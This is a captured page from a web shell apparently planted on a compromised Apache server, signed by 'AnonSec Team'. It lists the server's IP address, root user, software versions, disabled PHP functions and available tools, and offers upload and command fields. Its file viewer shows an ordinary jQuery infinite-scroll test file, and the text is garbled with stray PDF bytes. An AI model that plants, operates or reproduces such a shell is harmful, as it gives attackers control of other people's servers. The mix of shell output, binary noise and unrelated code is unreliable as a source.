%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/cwd/html/ppaobm/vendor/webcreate/jquery-ias/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/cwd/html/ppaobm/vendor/webcreate/jquery-ias/test/04-paging-extension-test.js
describe("IAS", function () {
  before(function() {
    this.timeout = 10000;

    window.scrollTo(0, 0);

    jQuery.ias({
      container : '.listing',
      item: '.post',
      pagination: '.navigation',
      next: '.next-posts a'
    }).extension(new IASPagingExtension());

    jQuery.ias().initialize();
  });

  after(function() {
    jQuery.ias('destroy');
  });

  it("should call pageChange listener", function() {
    var deferred = when.defer();
    var spy1 = this.spy();

    jQuery.ias().on('pageChange', spy1);

    // asset page2
    scrollDown().then(function() {
      wait(2000).then(function() {
        expect(spy1).toHaveBeenCalledOnce();
        expect(spy1).toHaveBeenCalledWith(2); // pagenum 2

        // asset page3
        scrollDown().then(function() {
          wait(2000).then(function() {
            expect(spy1).toHaveBeenCalledTwice();
            expect(spy1).toHaveBeenCalledWith(3); // pagenum 3

            deferred.resolve();
          });
        });
      });
    });

    return deferred.promise;
  });

  it("callbacks should be called when render returns false", function() {
    var deferred = when.defer();
    var spy1 = this.spy();

    jQuery.ias().on('render', function() { spy1(); return false; });
    // If the user uses their own render function (which returns false), then IAS
    // doesn't call other render callbacks such as the one that sets the next URL
    // This is tested by adding our own render callback and then adding checks to
    // confirm the render callback actually did run and the nextUrl has been updated.
    scrollDown().then(function() {
      wait(2000).then(function() {
        expect(spy1).toHaveBeenCalledOnce();
        buster.assert.contains(jQuery.ias().nextUrl, "page3.html");

        deferred.resolve();
      })
    })
    return deferred.promise;
  });
});

Anon7 - 2022
AnonSec Team